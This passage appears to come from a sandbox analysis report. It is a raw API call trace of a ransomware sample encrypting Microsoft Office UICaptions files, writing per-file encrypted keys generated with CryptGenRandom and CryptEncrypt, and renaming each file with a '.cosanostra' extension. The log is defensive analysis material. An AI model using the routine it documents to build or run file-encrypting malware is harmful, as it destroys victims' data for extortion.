dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.534] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned 77 [0095.534] StrStrW (lpFirst="PUBWZINT.REST.trx_dll", lpSrch=".txt") returned 0x0 [0095.643] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.643] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5c4, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x28df5c4*=0x2800, lpOverlapped=0x0) returned 1 [0095.644] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.644] WriteFile (in: hFile=0x180, lpBuffer=0x28df604*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5c4, lpOverlapped=0x0 | out: lpBuffer=0x28df604*, lpNumberOfBytesWritten=0x28df5c4*=0x4, lpOverlapped=0x0) returned 1 [0095.649] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5c4*=0x30, lpOverlapped=0x0) returned 1 [0095.649] CloseHandle (hObject=0x180) returned 1 [0095.649] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll.cosanostra") returned 88 [0095.649] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pubwzint.rest.trx_dll.cosanostra")) returned 1 [0095.650] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df608 | out: pbBuffer=0x28df608) returned 1 [0095.650] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df600*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df600*=0x30) returned 1 [0095.650] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.651] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned 76 [0095.651] StrStrW (lpFirst="PUB6INTL.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.672] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.672] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5c4, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df5c4*=0x2800, lpOverlapped=0x0) returned 1 [0095.672] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.672] WriteFile (in: hFile=0x180, lpBuffer=0x28df604*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5c4, lpOverlapped=0x0 | out: lpBuffer=0x28df604*, lpNumberOfBytesWritten=0x28df5c4*=0x4, lpOverlapped=0x0) returned 1 [0095.676] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5c4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5c4*=0x30, lpOverlapped=0x0) returned 1 [0095.676] CloseHandle (hObject=0x180) returned 1 [0095.676] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll.cosanostra") returned 87 [0095.676] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll.cosanostra")) returned 1 [0095.677] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df600 | out: pbBuffer=0x28df600) returned 1 [0095.677] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5f8*=0x30) returned 1 [0095.677] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.684] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned 75 [0095.684] StrStrW (lpFirst="PPINTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0095.687] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.687] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5bc, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x28df5bc*=0x2800, lpOverlapped=0x0) returned 1 [0095.687] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.687] WriteFile (in: hFile=0x180, lpBuffer=0x28df5fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5bc, lpOverlapped=0x0 | out: lpBuffer=0x28df5fc*, lpNumberOfBytesWritten=0x28df5bc*=0x4, lpOverlapped=0x0) returned 1 [0095.728] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5bc*=0x30, lpOverlapped=0x0) returned 1 [0095.728] CloseHandle (hObject=0x180) returned 1 [0095.728] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll.cosanostra") returned 86 [0095.729] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll.cosanostra")) returned 1 [0095.729] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df600 | out: pbBuffer=0x28df600) returned 1 [0095.729] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5f8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5f8*=0x30) returned 1 [0095.729] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.730] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned 75 [0095.730] StrStrW (lpFirst="OUTLWVW.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.748] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.749] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5bc, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df5bc*=0x2800, lpOverlapped=0x0) returned 1 [0095.749] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.749] WriteFile (in: hFile=0x180, lpBuffer=0x28df5fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5bc, lpOverlapped=0x0 | out: lpBuffer=0x28df5fc*, lpNumberOfBytesWritten=0x28df5bc*=0x4, lpOverlapped=0x0) returned 1 [0095.749] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5bc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5bc*=0x30, lpOverlapped=0x0) returned 1 [0095.749] CloseHandle (hObject=0x180) returned 1 [0095.749] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll.cosanostra") returned 86 [0095.749] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll.cosanostra")) returned 1 [0095.750] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5f8 | out: pbBuffer=0x28df5f8) returned 1 [0095.750] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5f0*=0x30) returned 1 [0095.750] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.750] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll") returned 77 [0095.751] StrStrW (lpFirst="OUTLLIBR.REST.trx_dll", lpSrch=".txt") returned 0x0 [0095.785] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.785] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5b4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df5b4*=0x2800, lpOverlapped=0x0) returned 1 [0095.786] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.786] WriteFile (in: hFile=0x180, lpBuffer=0x28df5f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5b4, lpOverlapped=0x0 | out: lpBuffer=0x28df5f4*, lpNumberOfBytesWritten=0x28df5b4*=0x4, lpOverlapped=0x0) returned 1 [0095.816] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5b4*=0x30, lpOverlapped=0x0) returned 1 [0095.816] CloseHandle (hObject=0x180) returned 1 [0095.816] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll.cosanostra") returned 88 [0095.816] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll.cosanostra")) returned 1 [0095.817] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5f8 | out: pbBuffer=0x28df5f8) returned 1 [0095.817] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5f0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5f0*=0x30) returned 1 [0095.817] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.879] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll") returned 75 [0095.879] StrStrW (lpFirst="ONINTL.REST.trx_dll", lpSrch=".txt") returned 0x0 [0095.881] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.881] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5b4, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x28df5b4*=0x2800, lpOverlapped=0x0) returned 1 [0095.881] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.881] WriteFile (in: hFile=0x180, lpBuffer=0x28df5f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5b4, lpOverlapped=0x0 | out: lpBuffer=0x28df5f4*, lpNumberOfBytesWritten=0x28df5b4*=0x4, lpOverlapped=0x0) returned 1 [0095.959] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5b4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5b4*=0x30, lpOverlapped=0x0) returned 1 [0095.959] CloseHandle (hObject=0x180) returned 1 [0095.960] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll.cosanostra") returned 86 [0095.960] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll.cosanostra")) returned 1 [0095.961] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5f0 | out: pbBuffer=0x28df5f0) returned 1 [0095.961] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5e8*=0x30) returned 1 [0095.961] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.963] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll") returned 73 [0095.963] StrStrW (lpFirst="MAPIR.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0095.971] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.971] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5ac, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5ac*=0x2800, lpOverlapped=0x0) returned 1 [0095.972] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.972] WriteFile (in: hFile=0x180, lpBuffer=0x28df5ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5ac, lpOverlapped=0x0 | out: lpBuffer=0x28df5ec*, lpNumberOfBytesWritten=0x28df5ac*=0x4, lpOverlapped=0x0) returned 1 [0095.990] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5ac*=0x30, lpOverlapped=0x0) returned 1 [0095.990] CloseHandle (hObject=0x180) returned 1 [0095.991] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll.cosanostra") returned 84 [0095.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll.cosanostra")) returned 1 [0095.992] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5f0 | out: pbBuffer=0x28df5f0) returned 1 [0095.992] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5e8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5e8*=0x30) returned 1 [0095.992] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0095.995] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll") returned 76 [0095.995] StrStrW (lpFirst="ENVELOPR.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.013] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.013] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5ac, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5ac*=0x2800, lpOverlapped=0x0) returned 1 [0096.013] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.013] WriteFile (in: hFile=0x180, lpBuffer=0x28df5ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5ac, lpOverlapped=0x0 | out: lpBuffer=0x28df5ec*, lpNumberOfBytesWritten=0x28df5ac*=0x4, lpOverlapped=0x0) returned 1 [0096.014] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5ac, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5ac*=0x30, lpOverlapped=0x0) returned 1 [0096.014] CloseHandle (hObject=0x180) returned 1 [0096.014] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll.cosanostra") returned 87 [0096.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll.cosanostra")) returned 1 [0096.017] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5e8 | out: pbBuffer=0x28df5e8) returned 1 [0096.017] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5e0*=0x30) returned 1 [0096.017] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0096.018] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll") returned 76 [0096.018] StrStrW (lpFirst="VISBRRES.DLL.trx_dll", lpSrch=".txt") returned 0x0 [0096.031] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0096.031] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5a4, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5a4*=0x2800, lpOverlapped=0x0) returned 1 [0096.032] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.032] WriteFile (in: hFile=0x180, lpBuffer=0x28df5e4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5a4, lpOverlapped=0x0 | out: lpBuffer=0x28df5e4*, lpNumberOfBytesWritten=0x28df5a4*=0x4, lpOverlapped=0x0) returned 1 [0096.046] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5a4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5a4*=0x30, lpOverlapped=0x0) returned 1 [0096.046] CloseHandle (hObject=0x180) returned 1 [0096.046] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll.cosanostra") returned 87 [0096.046] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll"), lpNewFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll.cosanostra" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll.cosanostra")) returned 1 [0096.047] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df5e8 | out: pbBuffer=0x28df5e8) returned 1 [0096.047] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df5e0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df5e0*=0x30) returned 1 [0096.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0096.047] lstrlenW (lpString="\\\\?\\C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll") returned 77 [0096.047] StrStrW (lpFirst="PUBWZINT.REST.trx_dll", lpSrch=".txt") returned 0x0 [0096.104] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, 